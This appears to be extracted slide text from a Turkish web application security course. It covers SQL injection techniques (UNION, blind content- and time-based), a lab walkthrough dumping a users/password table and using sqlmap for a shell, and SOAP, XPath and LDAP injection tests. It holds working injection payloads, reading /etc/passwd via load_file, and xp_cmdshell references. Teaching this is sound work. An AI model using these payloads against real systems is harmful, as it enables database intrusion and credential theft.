  • 275. SQL Injection Saldırıları UNION ve SQL injection açısından önemi UNION ile kolon sayısı bulma yöntemleri (hata almayıncaya dek) ' UNION SELECT NULL-- ' UNION SELECT NULL, NULL-- ' UNION SELECT NULL, NULL, NULL-- String veri tiplerini tespit etmek için ' UNION SELECT 'a', NULL, NULL-- ' UNION SELECT NULL, 'a', NULL-- ' UNION SELECT NULL, NULL, 'a'-- Not: Oracle veritabanlarında FROM deyimi bulunmak zorunda olduğundan mutlaka bu deyim kullanılmalıdır. Bununiçin ' UNION SELECT NULL FROM DUAL-- kullanılabilir. Not: Genelliklenumerik değerler string değerler olarak değerlendirilebilir. Ancak tam tersi mümkündeğildir. Bu nedenlekolon sayısını bulurken şu ifadeyi dekullanabilirdik: ' UNION SELECT 1, 1, 1-- UNION ile kolon sayısı bulma yöntemleri (hata almayıncaya dek) String veri tiplerini tespit etmek için Not-1: Oracle veritabanlarında FROM deyimi bulunmak zorunda olduğundan mutlaka bu deyim kullanılmalıdır. Bunun için ' UNION SELECT NULL FROM DUAL-- kullanılabilir. Not-2: Genellikle numerik değerler string değerler olarak değerlendirilebilir. Ancak tam tersi mümkün değildir. Bu nedenle kolon sayısını bulurken şu ifadeyi de kullanabilirdik: ' UNION SELECT 1, 1, 1--
  • 276. SQL Injection Saldırıları UNION ve SQL injection açısından önemi Kolon sayısını öğrenmenin bir başka yolu da ORDER BY deyiminin kullanılmasıdır ORDER BY 1-- ORDER BY 2-- ORDER BY N-- ta ki hata alıncaya kadar. Hata alınan ilk rakam kolon sayısının aşıldığı anlamına gelir. Kolon sayısını öğrenmenin bir başka yolu da ORDER BY deyiminin kullanılmasıdır. ta ki hata alıncaya kadar. Hata alınan ilk rakam kolon sayısının aşıldığı anlamına gelir.
  • 277. SQL Injection Saldırıları MSSQL ODBC Hataları Sayesinde Injection Yaptığımız SELECT Cümle Yapısını Öğrenme İmkanları MSSQL, Oracle ve MySQL veritabanları arasında hata mesajları zenginliği açısından (genel olarak) en kötüsü MySQL, en iyisi ise MSSQL'dir. MSSQL Server'ın ODBC hata mesajları HAVING ve GROUP BY deyimleri kullanılarak tablo ismi ve kolon isimlerinin bulunması için kullanılabilir.
  • 278. SQL Injection Saldırıları MSSQL ODBC Hataları Sayesinde Injection Yaptığımız SELECT Cümle Yapısını Öğrenme İmkanları ta ki hata oluşmayıncaya kadar. HAVING deyimi GROUP BY deyimi ile birlikte kullanılır. Eğer HAVING deyimi kullanılıyorsa aggregate fonksiyon olsun veya olmasın aggregate fonksiyona konu olmayan tüm alanlar GROUP BY deyimi ile belirtilmelidir.
  • 279. SQL Injection Saldırıları SINIF TARTIŞMASI • SQL injection açıklığı tespit ettiğimizde hedefimizdeki veritabanı sunucusunu ve versiyonunu neden tespit etmek isteyebiliriz?
  • 280. SQL Injection Saldırıları Veritabanı Sunucusunu Tespit Etme Yöntemleri String veri tipinde girdi alan bir parametre için concatenation (birleştirme) yöntemleri'nden faydalanarak: • MSSQL: 'bt'+'risk' • MySQL: 'bt' 'risk' (arada boşluk karakteri ile) • Oracle: 'bt'||'risk' Numerik veri tipinde girdi alan bir parametre için veritabanına özel fonksiyon kullanarak: • MSSQL: @@PACK_RECEIVED-@@PACK_RECEIVED • MySQL: CONNECTION_ID()-CONNECTION_ID() • Oracle: BITAND(1,1)-BITAND(1,1)
  • 281. SQL Injection Saldırıları Veritabanı Sunucusunu Tespit Etme Yöntemleri Olağan şüpheliler: • PHP uygulamaları genelde MySQL kullanır • Java uygulamaları genelde MySQL veya Oracle kullanır • ASP.NET uygulamaları genelde MSSQL kullanır
  • 282. SQL Injection Saldırıları SQL injection için önemli SQL kural bilgileri Aynı satırda birden fazla SQL komutu gönderebilme • MSSQL ";" ile ayrılmış komutlar • MySQL ";" ancak mysqli() nesnesi ve bu nesnesi multi_query fonksiyonu ile (mysqli PHP uzantısı MySQL 4.1.3 ve sonraki versiyonlarla gelen imkanlardan faydalanmak için geliştirilmiş ve PHP versiyon 5 ve sonrasında yer almaktadır). Sorgunun geri kalanını yorum haline getirebilme • MSSQL: "--" çift çizgi • MySQL: "#" ve "-- " karakterleri (çift çizgiden sonra en az bir boşluk olması önemlidir, aksi takdirde hata oluşmaktadır. Örneğin gerek olmadığı halde SQL cümlesinin sonundaki bir parametreye injection yaparken -- kullanırsanız bu karakterlerden sonra boşluk oluşmamakta ve hata oluşmaktadır.)
  • 283. SQL Injection Saldırıları Veri Sızdırma Öncesi Veritabanı Yapısını Öğrenme (Ör: MySQL veritabanı için) Veritabanı isimlerini elde etmek için SELECT schema_name FROM information_schema.schemata Tablo isimlerini elde etmek için SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_adı' Alan (kolon) isimlerini elde etmek için SELECT column_name FROM information_schema.columns WHERE table_name = 'tablo_adı' Veritabanı isimlerini elde etmek için Tablo isimlerini elde etmek için Alan (kolon) isimlerini elde etmek için
  • 284. SQL Injection Saldırıları UNION SQL Injection Örneği [Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)
  • 285. SQL Injection Saldırıları UNION SQL Injection Örneği "'" karakteri hata alınmasına neden oldu Hata mesajlarından bunun bir veritabanı hatası olduğunu anlayabiliyoruz
  • 286. SQL Injection Saldırıları UNION SQL Injection Örneği "id" parametresi string tipinde olmayabilir, numerik bir payload deneyelim
  • 287. SQL Injection Saldırıları UNION SQL Injection Örneği Bu sorgu için tüm verilere eriştik. Bir sonraki adımımız farklı tablolardan veri çekmek olacak
  • 288. SQL Injection Saldırıları UNION SQL Injection Örneği SELECT cümlesindeki Alan sayısını bulmak için hem numerik hem de alfabetik veri tipleri ile uyumlu NULL değerini kullanıyoruz
  • 289. SQL Injection Saldırıları UNION SQL Injection Örneği Alttaki tabloya veri sağlayan sorgunun 5 alan döndürdüğünü anlamış olduk
  • 290. SQL Injection Saldırıları UNION SQL Injection Örneği Üstteki tabloya veri sağlayan sorgu ise 6 alan döndürüyor
  • 291. SQL Injection Saldırıları UNION SQL Injection Örneği Öncelikle veritabanı isimlerine ulaşmaya çalışıyoruz. Birinci alanda dönen verilerin uygulama geliştirici tarafından kullanılmadığı anlaşılıyor.
  • 292. SQL Injection Saldırıları UNION SQL Injection Örneği 3. alan "Tutar" bölümünde göründü. Bu listeden hedef veritabanımızın "btrmobile" olduğunu tahmin edebiliriz.
  • 293. SQL Injection Saldırıları UNION SQL Injection Örneği Daha rahat görüntüleme amacıyla son alanı kullandık. Burada "btrmobile" veritabanındaki tablo isimlerini elde ediyoruz. Kullanıcılar tablosu ilginç görünüyor
  • 294. SQL Injection Saldırıları UNION SQL Injection Örneği "kullanicilar" tablosunun alanlarını listeliyoruz. "id" veya "no" alanları kullanıcı kodu olarak kullanılıyor olabilir. Biz no alanının kullanıldığını biliyoruz. "no" ve "password" alanlarını elde etmeye çalışacağız.
  • 295. SQL Injection Saldırıları UNION SQL Injection Örneği "kullanicilar" tablosunun verilerini listeliyoruz.
  • 296. SQL Injection Saldırıları UNION SQL Injection Örneği Açıklık barındıran sorgularımız işte burada.
  • 297. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği Injection yapılacak olan parametrenin id parametresi olduğunu belirtiyoruz. Geçerli bir oturum üzerinden injection yapabilmek için oturum cookie değerini belirtiyoruz. Sqlmap'in shell imkanından faydalanmak istiyoruz.
  • 298. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği Veritabanı heuristic olarak MySQL olarak tahmin etti. Detaylı testleri atlıyoruz.
  • 299. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği BOOLEAN (veya CONTENT) BASED Blind Injection yöntemini (daha sonra bahsedeceğiz) başarı ile uyguladı.
  • 300. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği UNION yöntemi ile SQL injection'ı yapamadı. Bunun sebebi sayfada 2 tablo olması olmalı. Bunlardan birisinde hata ortadan kalktığında diğerinde oluşuyordu. TIME BASED Blind Injection yöntemini de (daha sonra bahsedeceğiz) başarı ile uyguladı.
  • 301. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği Uygulayabildiği 2 injection yöntemini özetliyor. Shell'imizi aldık.
  • 302. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği Blind SQL Injection yöntemi ile veritabanı ismimizi çekebildik.
  • 303. SQL Injection Saldırıları Veritabanı Sistem Tablolarına Örnekler MSSQL • master..syslogins (kullanıcı tablosu) • master..sysdatabases (veritabanı tablosu) • master..sysobjects (veritabanı nesneleri tablosu) • master..sysservers (linkli sunucular tablosu) • master..syscolumns (tüm tablolar ve alanları) MySQL • mysql.user (kullanıcı tablosu) • information_schema.schemata (veritabanı listesi) • information_schema.tables (tablo listesi) • information_schema.columns (tüm tablolar ve alanları) Oracle • user_objects (veritabanı nesneleri tablosu) • all_tab_columns (tüm tablolar ve alanları)
  • 304. SQL Injection Saldırıları Güçlü Veritabanı Fonksiyonlarına Örnekler MSSQL • Registery fonksiyonları (xp_regread, xp_regwrite,..) • Servis başlatma ve kapatma (xp_servicecontrol) • Komut işletme (xp_cmdshell - SQL Server 2005'ten bu yana ön tanımlı olarak aktif değildir) • Veritabanını kapatma (shutdown) • Kullanıcı ekleme (sp_addlogin) MySQL • Dosya okuma (load_file('/etc/passwd') dosya içeriğini string olarak döndürür) • Dosya yazma (select * from kullanici into outfile C:wampwwwkullanici.txt)
  • 305. SQL Injection Saldırıları Diğer Sunuculara Erişim veya Veri Aktarım Fonksiyonlarına Örnekler MSSQL • OPENROWSET (çok eski MSSQL Server versiyonlarında (MSSQL Server 2000 ve daha öncesi) farklı bir sunucuya veri göndermek için kullanılıyordu) Oracle • UTL_HTTP paketi ve içindeki fonksiyonlar (ör: UTL_HTTP.request()), UTL_TCP, UTL_SMTP, UTL_FILE ve diğer paketler MySQL • SELECT ... INTO OUTFILE komutu (outfile bir ağ paylaşımında olabilir)
  • 306. SQL Injection Saldırıları SINIF TARTIŞMASI • SELECT dışındaki deyimlere başarılı biçimde SQL injection yapılabilir mi, yapılabilirse hangi amaçlara ulaşılabilir?
  • 307. SQL Injection Saldırıları SINIF TARTIŞMASI • Yukarıdaki SQL cümlesine belirtilen alanda injection yapılabilmesi için cümle yapısında neye dikkat etmemiz gerekir?
  • 308. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Yöntem: SQL Injection açıklığı UNION tekniği ile farklı tablolardan veri sızdırmamıza imkan vermiyorsa, ancak injection'ı yaptığımız noktada AND operatörü sonrasında oluşturacağımız TRUE ve FALSE koşullarına karşı farklı yanıtlar üretiyorsa, o halde bir şansımız daha var demektir. Olumsuz Tarafı: UNION tabanlı veya doğrudan yanıt doğuran yöntemlere nazaran çok daha fazla sayıda istek göndermemiz gerekecektir. Örnek: Blind SQL Injection yönteminde genellikle veriler harf harf belirlenir ve her bir harfin değerini bulmak için binary search yöntemi kullanılır. Örneğin 0-100 arasında bulunması gereken 83 değerini bulmak için önce değerin 50'den büyük olup olmadığını sorgularsınız, eğer büyükse bu sefer 75'ten büyük olup olmadığını sorgularsınız, bundan da büyükse 88'den büyük olup olmadığını sorgularsınız. Bu sayıdan büyük olmadığı için bu defa 75 ve 88 sayılarının ortasında bulunan 81'den büyük olup olmadığını sorgularsınız ve bu sayı bulununcaya kadar devam eder.
  • 309. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örnek (MySQL'e özel): http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 Koşul: "users" tablosunun ilk kaydından başlayarak bir kayıt al, bunun birinci karakterinden başlayarak bir karakterini ASCII değerine çevir ve 80'den büyük olup olmadığına bak.
  • 310. SQL Injection Saldırıları Blind SQL Injection (Time-Based) Yöntem: Eğer SQL injection yapabilmemize ve TRUE ve FALSE koşullar oluşturabilmemize rağmen yanıtlarda bir farklılık gözlenmiyorsa o zaman TRUE veya FALSE koşullar oluştuğunda yanıtın dönme hızını etkileyerek yine veri sızdırma şansımız olabilir. Olumsuz Tarafı: Hem çok sayıda istek göndermemiz hem de zaman farkına dayanan bir yöntem olduğu için çok daha fazla süre beklememiz gerekecektir. Örnek: Time based SQL injection yönteminde sonucun hata doğurup doğurmadığı önemli değildir, ancak belli bir koşul gerçekleştiğinde sunucunun daha geç yanıt vermesine dayanarak veriler tahmin edilir.
  • 311. SQL Injection Saldırıları Blind SQL Injection (Time-Based) Örnek (MySQL'e özel): http://www.site.com/news.php?id=5 and 1=IF(ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80, sleep(15),1)
  • 312. SQL Injection Saldırıları Blind SQL Injection (Time-Based) Veritabanı sunucularının TIME-BASED BLIND SQL INJECTION saldırılarında kullanılabilecek fonksiyonlarına örnekler: MSSQL • WAITFOR DELAY '0:0:10' (10 sn. bekle) MySQL • sleep(5000) (sleep fonksiyonu MySQL 5.0.12 ve sonraki versiyonlarında kullanılabilir, 5.000 milisaniye bekle anlamına gelir) • benchmark(50000, SHA1('test')) (50.000 defa 'test' verisinin SHA1 hash değerini hesapla, bunun dışında CPU zamanını alabilecek farklı MySQL fonksiyonları da bulunmaktadır)
  • 313. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği [Fatura Ödeme / Numara ile Ödeme] fonksiyonu ("numara" parametresi) Numara alanına "'" işareti gönderiyoruz.
  • 314. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Hatalı bir durum oluştu, ancak uygulama hatayı ele aldı. SQL Injection olma ihtimali yüksek, ancak hata mesajı olmadığı için farklı bir neden de olabilir.
  • 315. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Manuel olarak yaptığımız denemeler sonucunda numara parametresinin string veri tipinde olduğunu tespit ettik. Ayrıca geçerli bir telefon numarası girilmemesi halinde gelen yanıtlar her durumda boş olmaktadır. Son olarak hedeflediğimiz veritabanı MySQL olduğundan eğer sondaki iki çizgiden sonra bir boşluk karakteri konulmazsa hata oluşmaktadır.
  • 316. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Comment işlemi için # kullandığımızda da sonuç alınmaktadır.
  • 317. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği FALSE durumu oluştuğunda dönen içerik değişmektedir. Aradaki bu farkı blind injection amaçlı olarak kullanabiliriz.
  • 318. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Bu noktadan sonra kullanım kolaylığı açısından Burp ile ilerleyeceğiz. İlk testimizde database() fonksiyonunun döndürdüğü değerin ilk karakterinin "a" (ASCII 97) olup olmadığını test ediyoruz. Dönen yanıt FALSE durumunda oluşan yanıt olduğundan ilk karakterin "a" olmadığı sonucuna varabiliriz.
  • 319. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Bu defa "b" (ASCII 98) karakterinin doğru olup olmadığını test ediyoruz ve dönen yanıt TRUE koşulunda gözlediğimiz yanıt olduğu için database() fonksiyonunun döndürdüğü ilk karakterin "b" olduğunu söyleyebiliriz.
  • 320. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Veritabanının adının "btrmobile" olduğunu bildiğimiz için ikinci karakterin "t" (ASCII 116) olup olmadığını test ediyoruz ve olduğunu görüyoruz. Normalde bu sürecin binary test süreci ile çok daha uzun sürmesi lazım. Bu işlem için bir araç kullanım ihtiyacı ortada.
  • 321. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği sqlmap.py ile deneme Önceki sqlmap denememizden farklı olarak bir POST isteği üzerinde çalıştığımız için "— data" switch'ini kullanıyoruz. "numara" parametresine doğru ve yanlış sorguları ayırt etmemize imkan vermeyen (yani geçerli olmayan) bir telefon numarası yazdığımızı not edin.
  • 322. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Sqlmap geçerli bir telefon numarası tahmin edemeyeceği için "numara" parametresinin injectable olduğundan emin olamadı.
  • 323. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği "numara" parametresine bu defa geçerli bir numara yazarak denememizi yapalım.
  • 324. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Sqlmap geçerli bir telefon numarası verildiğinde time based blind SQL injection yöntemi ile başarıya ulaştı.
  • 325. SOAP Injection Saldırıları Simple Object Access Protocol (SOAP) SOAP mesajlaşma formatı olarak XML'i kullanan bir protokoldür. <soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:tem="http://tempuri.org/"> <soapenv:Header/> <soapenv:Body> <tem:ApproveOrder> <!--Optional:--> <tem:gsm>?</tem:gsm> <!--Optional:--> <tem:pstn>?</tem:pstn> <!--Optional:--> <tem:email>?</tem:email> <!--Optional:--> <tem:address>?</tem:address> <!--Optional:--> <tem:postCode>?</tem:postCode> <tem:cityID>?</tem:cityID> <tem:countyID>?</tem:countyID> <tem:isApproved>?</tem:isApproved> </tem:ApproveOrder> </soapenv:Body> </soapenv:Envelope>
  • 326. SOAP Injection Saldırıları Simple Object Access Protocol (SOAP) Test yöntemi: Girdi alanlarına "</test>" veya benzeri bir girdi gönderildiğinde uygulama hata üretirse uygulamanın girdiyi bir SOAP mesajı içinde kullanma ihtimali bulunduğunu söyleyebiliriz.
  • 327. XPATH Injection Saldırıları XML Path Language (XPATH) XPATH XML dokümanları içinden veri çekmek için kullanılan bir dildir. XML dokümanlar veri saklamak için ilk tercihlerden olmasa da konfigürasyon verisi gibi verilerin saklanması için kullanılabilir.
  • 328. XPATH Injection Saldırıları XML Path Language (XPATH) XPATH Sorgu Örneği: • //adres/eposta/text() • //adres[ad/text()='Mehmet'] Test Yöntemi: SQL injection'a benzer şekilde "'" işareti hata doğurursa XPATH injection ihtimali doğabilir. Bunun dışında "[", "]", "(", ")", "/" gibi XPATH için özel karakterler de kullanılabilir.
  • 329. LDAP Injection Saldırıları Lightweight Directory Access Protocol (LDAP) LDAP Sorgularına Örnekler: • (|(cn=arama_terimi) (sn=arama_terimi) (ou=arama_terimi)) • (&(kullanici_adi=5550000002) (parola=par0la)) Test Yöntemi: LDAP sorgularında özel karakterler fuzzing testlerinde kullanılabilir: ( ) ; , * | & = Çok sayıda parantez işareti LDAP sorgusuna müdahale edebilmek için kullanılabilir "))))))))"